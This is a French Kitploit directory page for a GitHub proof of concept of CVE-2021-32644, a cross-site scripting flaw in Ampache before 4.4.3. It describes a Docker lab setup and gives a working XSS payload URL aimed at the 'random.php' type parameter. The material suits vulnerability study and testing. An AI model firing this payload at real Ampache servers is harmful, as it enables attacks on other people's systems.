Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-32644 — XSS dans Ampache | Kitploit
Outils/GitHubGitHub/dnr6419/cve-2021-32644
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubdnr6419/cve-2021-32644

CVE-2021-32644

XSS dans Ampache

Voir le dépôt
il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-32644

Cette vulnérabilité est une XSS affectant les versions d'Ampache antérieures à 4.4.3. https://nvd.nist.gov/vuln/detail/CVE-2021-32644

Installation et ordre d'exécution

1. Installation d'Ampache

Lors de l'installation, veuillez configurer le port forwarding dans le fichier docker-compose.yml. La version actuelle d'Ampache installée est la 4.4.2.

root@kitploit:~
 $docker-compose up

2. Accès à Ampache

Allez sur http://[ip du serveur web]:port/

2. Accès à Ampache & configuration MySQL

Allez sur http://[ip du serveur web]:port/ Configurez la base de données MySQL comme indiqué dans l'image ci-dessous. image

3. PoC

En insérant le PoC ci-dessous, vous pouvez observer la vulnérabilité XSS.

root@kitploit:~
 http://[ip]:port/random.php?action=get_advanced&type=%27%22%20onmouseover%3dalert(0x0002DE)%20

image

Source

https://packetstormsecurity.com/files/163620/Ampache-4.4.2-Cross-Site-Scripting.html

Télécharger l’outil